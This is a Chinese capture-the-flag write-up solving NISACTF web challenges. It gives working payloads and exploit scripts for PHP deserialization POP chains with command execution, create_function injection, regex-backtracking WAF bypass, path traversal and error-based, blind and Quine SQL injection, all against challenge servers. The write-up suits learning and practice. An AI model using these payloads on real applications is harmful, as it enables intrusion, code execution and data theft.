前言
屑博主之前刷题的时候没写wp,现在才想起来,那么顺便慢慢补一下吧
现在重做的感觉…还挺难的(x
Web
easyssrf
file伪协议读取文件
先随便输个百度网址进去看看回显,可以看到返回了网页快照
猜测这里是通过读取url获取内容的,这里尝试使用file伪协议直接读取flag
提示我们去看看/f14g
直接访问ha1x1ux1u.php,看到源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}
//flag in /flag
echo file_get_contents($file);
直接目录穿越读取flag即可
/ha1x1ux1u.php?file=../../../../../../flag
checkin
Unicode控制字符
进入题目看到源码
<?php
error_reporting(0);
include "flag.php";
// NISACTFWelcome to
if ("jitanglailo" == $_GET[ahahahaha] &+!!& " Flag!N1SACTF" == $_GET[Ugeiwocuishiyuan]) { //tnnd! weishenme b
echo $FLAG;
}
show_source(__FILE__);
?>
一开始认为直接传入对应参数使其相等即可获得flag,但是复制参数时发现并没有这么简单
把源码copy下来到vscode中
发现里面存在不可见的Unicode控制字符
那么再复制参数回去进行传参即可获得flag
level-up
level 1
信息泄露
f12发现hint
提示disallow,是robots.txt文件特有的字段
访问/robots.txt即可
level 2
md5强碰撞
进入/level_2_1s_h3re.php,看到源码
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
是md5强比较,因为有(string)的存在所以这里不能用数组绕过,只能用强碰撞,在我的文章php特性有exp
要用burp抓包传参
level 3
sha1强碰撞
访问/Level___3.php,看到源码
<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (sha1($a1) === sha1($a2)){
echo $level4;
}
else{
die("level 3 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
这次是sha1强碰撞,在我的文章php特性有exp
burp抓包传参
level 4
变量解析绕过
访问/level_level_4.php,看到源码
<?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}
?>
传入的参数要为NI_SA_
,但是黑名单中已经过滤了_
在变量解析中,php会把请求参数中的非法字符转为下划线
payload:
?NI+SA+=txw4ever
level 5
creat_function绕过
访问/55_5_55.php,看到源码
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
看到$a('',$b);
,而这两个参数我们是可控的,所以参数a得为一个函数,而参数b得为一个命令执行语句
这里要用到creat_function绕过
payload:
?a=\create_function&b=}var_dump(scandir('/'));/*
?a=\create_function&b=}var_dump(file_get_contents('/flag'));/*
babyserialize
反序列化
进入题目看到源码
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
这题先找最终的利用点,可以发现在NISA类的__invoke
方法中存在eval
命令执行
要触发__invoke
方法,发现在Ilovetxw类的__toString
方法中存在return $bb();
,把对象当作函数调用
然后要触发__toString
方法,发现在four类的__set
方法中存在strtolower($this->a);
,把对象当作字符串处理
然后要触发__set
方法,发现在Ilovetxw类的__call
方法中存在$this->huang->fun=$arg[0];
,给不存在的对象fun赋值
然后要触发__call
方法,发现在TianXiWei类的__wakeup
方法中存在$this->ext->nisa($this->x);
,调用了不存在的方法
所以链子为TianXiWei.__wakeup --> Ilovetxw.__call --> four.__set --> Ilovetxw.__toString --> NISA.__invoke
经过测试,发现过滤了system,这里尝试使用大写SYSTEM绕过成功
一开始的poc中让public $fun="show_me_flag";
看到hint:”flag is in /“
得知flag在根目录
然后让public $txw4ever="SYSTEM('ls /');";
知道flag为fllllllaaag
最终poc:(注:因为存在private属性会产生不可见字符%00,这里要url编码)
<?php
class NISA{
public $fun;
public $txw4ever="SYSTEM('tac /fllllllaaag');";
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun='abc';
}
$a=new TianXiWei;
$a->ext=new Ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new Ilovetxw;
$a->ext->huang->a->su=new NISA;
echo urlencode(serialize($a));
babyupload
os.path.join()绝对路径拼接漏洞
进去是一个文件上传页面,f12发现注释/source
访问/source,下载源码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
审计一下代码,先看上传文件的部分
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
这里过滤了.
,即上传的文件不能有后缀,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid,再通过/file/uuid
访问文件
接下来看访问文件的部分
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
通过查询数据库得到对应文件名,在文件名前拼接uploads/
后读取该路径下上传的文件
首先我们知道这里过滤了文件后缀,所以php的一句话木马在这里用不上,那么就要思考这个访问文件的函数能否直接读flag
一般情况下,在文件名前被uploads/
拼接意味着只能读取上传后的文件,而且上传的文件没有后缀名,不能直接利用
但os.path.join()
函数存在绝对路径拼接漏洞
os.path.join(path,*paths)
函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。然而,这个函数有一个少有人知的特性,如果拼接的某个路径以/
开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
所以,当上传的文件名为/flag ,上传后通过uuid访问文件后,查询到的文件名是/flag ,那么进行路径拼接时,uploads/
将被删除,读取到的就是根目录下的flag文件
burpsuite抓包改文件名
发到重放器,发包后跟随重定向即可读到flag
popchains
反序列化+php伪协议
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
preg_match
函数能够触发__toString
链子:Road_is_Long::__wakeup -> Road_is_Long::__toString -> Make_a_Change::__get -> Try_Work_Hard::__invoke -> Try_Work_Hard::append
逆天,flag在/flag,flag.php访问直接404了
存在protect属性,记得url编码%00*%00var
,exp直接全编码了
exp:
<?php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
}
class Try_Work_Hard{
protected $var="php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
}
$a=new Road_is_Long();
$a->page=new Road_is_Long();
$a->page->string=new Make_a_Change();
$a->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
middlerce
PCRE
<?php
include "check.php";
if (isset($_REQUEST['letter'])) {
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m', $txw4ever)) {
die("再加把油喔");
} else {
$command = json_decode($txw4ever, true)['cmd'];
checkdata($command);
@eval($command);
}
} else {
highlight_file(__FILE__);
}
过滤拉满了,匹配的还是多行,直接考虑PCRE回溯绕过,也就是正则溢出绕过
cmd要我们传入json结构的数据,对json_decode
,本地测试一下
<?php
$b ='{"cmd":"ls"}';
$a = json_decode($b, true)['cmd'];
var_dump($a);
//返回 string(2) "ls"
//相当于就是返回字符串ls
getshell之后拿到的check.php
<?php
function checkdata($data){
if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){
die('差一点点捏');
}
}
脚本
import requests
url = "http://node4.anna.nssctf.cn:28045/"
data='{"cmd":"?><?=`nl /f*`;?>","t":"' + "@"*1000000 + '"}'
# 这里必须使用特殊字符,@$之类的都是可以的
a = requests.post(url=url,data={'letter': data}).text
print(a)
join-us
报错注入
在登录界面有注入点
fuzz一下 ,过滤了union,UNION,and,sleep,by,as,if,ascii,left,right,substring,handler,updatexml,benchmark,insert,update,”,=,database,column
database被ban的话,我们可以去查一个不存在的表来爆出表名
tt=1'or(select * from a)#
数据库名为sqlsql
接下来爆表名,因为union被ban,那我们用报错注入,因为ban了updatexml,这里用extractvalue,用like代替=
不知道为什么这里or用不了了,那就||
1'||extractvalue(0,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema like 'sqlsql')))#
有两个表一个个查过去
接下来爆列名,但是column被ban了,不过我们可以用join
函数来操作,参考文章:http://www.wupco.cn/?p=4117
flag实际上在output表中
1'||extractvalue(0,concat(0x7e,(select * from(select * from output a join output b)c)))#
有一个data列,接下来爆字段前半段
1'||extractvalue(0,concat(0x7e,(select data from output)))#
后半段
1'||extractvalue(0,concat(0x7e,mid((select data from output),29,50)))#
bingdundun~
phar文件上传
midlevel
is secret
hardsql
like盲注+Quine注入
题目描述给出了查询语句
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
进入题目index.php页面
可以看到是一个登录界面,题目描述中给出了username的值为bilala
,那应该是要我们对passwd进行注入,先让username为bilala,然后随便输入个密码看看回显
题目说登录成功就能有flag,应该有waf
这里先fuzz看看过滤(注意进行登录操作的是login.php
)
过滤还挺多,也不能用万能密码
过滤了if,sleep,char,||,=,空格等
但是like没被过滤,所以可以使用like函数进行模糊匹配爆破,然后用/**/
代替空格
passwd=1'/**/or/**/passwd/**/like/**/'§1§%'#
成功匹配,可以得知第一位是b
那接下来就是盲注了
脚本:
import requests
url = 'http://node3.anna.nssctf.cn:28800/login.php'
dict = '0123456789qwertyuiopasdfghjklzxcvbnm-'
flag = ''
for j in range(50):
for i in dict:
data = {
"username": "bilala",
"passwd": f"-1'/**/or/**/passwd/**/like/**/'{flag+i}%'#"
}
# print(data)
res = requests.post(url=url, data=data)
# print(res.text)
if 'nothing found' not in res.text:
# print(i)
# print(res.text)
flag+=i
print(flag)
break
得到密码b2f2d15b3ae082ca29697d8dcd420fd7
传入参数获取源码
<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
代码审计一下可以发现要想获得flag就要让$row['passwd'] === $password
但是$password != 'b2f2d15b3ae082ca29697d8dcd420fd7'
要实现这个结果就需要利用quine注入
题目给的条件是
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
则基本形式为
1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#
其中str为
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
但是char被过滤了,所以使用chr
(或者0x
)
最终payload:
passwd=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')